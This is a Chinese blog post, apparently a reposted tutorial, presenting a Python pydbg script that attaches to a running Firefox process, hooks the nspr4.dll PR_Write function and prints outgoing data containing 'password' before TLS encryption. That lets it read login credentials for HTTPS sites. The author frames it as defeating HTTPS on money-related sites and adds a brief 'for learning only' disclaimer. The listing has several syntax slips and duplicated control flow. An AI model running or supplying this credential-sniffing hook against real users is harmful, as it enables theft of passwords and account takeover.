利用python的hook技术破解https

    相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:

下面是源代码:

 
 
  1. #!/ur/bin/env python 
  2. from pydbg import * 
  3. from pydbg.defines import * 
  4.  
  5. import utils 
  6. import sys 
  7.  
  8. dbg = pydbg() 
  9. found_firefox = False 
  10.  
  11. pattern = "password" 
  12.  
  13.  
  14. def ssl_sniff( dbg, args ): 
  15.     buffer = "" 
  16.     offset = 0 
  17.     while 1
  18.         byte = dbg.read_process_memory( args[1] + offset, 1 ) 
  19.         if byte != "\x00"
  20.             buffer += byte 
  21.             offset += 1 
  22.             continue 
  23.         else
  24.             break 
  25.     if pattern in buffer: 
  26.         print "Pre-Encrypted: %s" % buffer 
  27.     return DBG_CONTINUE 
  28. # 寻找firefox.exe的进程 
  29. for (pid, name) in dbg.enumerate_processes(): 
  30.     if name.lower() == "firefox.exe"
  31.         found_firefox = True 
  32.         hooks = utils.hook_container() 
  33.         dbg.attach(pid) 
  34.         print "[*] Attaching to firefox.exe with PID: %d" % pid 
  35. # 得到firefox的hook的 address 
  36.         hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write"
  37.         if hook_address: 
  38. # 添加hook的内容,包括他的pid,地址,嗅探类型
  39.  
  40.             hooks.add( dbg, hook_address, 2, ssl_sniff, None ) 
  41.             print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address 
  42.             break 
  43.         else
  44.             print "[*] Error: Couldn't resolve hook address." 
  45.             sys.exit(-1
  46.         if found_firefox: 
  47.             print "[*] Hooks set, continuing process." 
  48.             dbg.run() 
  49.         else
  50.                 print "[*] Error: Couldn't find the firefox.exe process." 
  51.                 sys.exit(-1
  52.                  
  53. if found_firefox: 
  54.     print "[*] Hooks set, continuing process." 
  55.     dbg.run() 
  56. else
  57.     print "[*] Error: Couldn't find the firefox.exe process." 
  58.     sys.exit(-1

演示视频见链接:http://www.linux520.com/stcs/2011-03-18/174.html#ecms 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值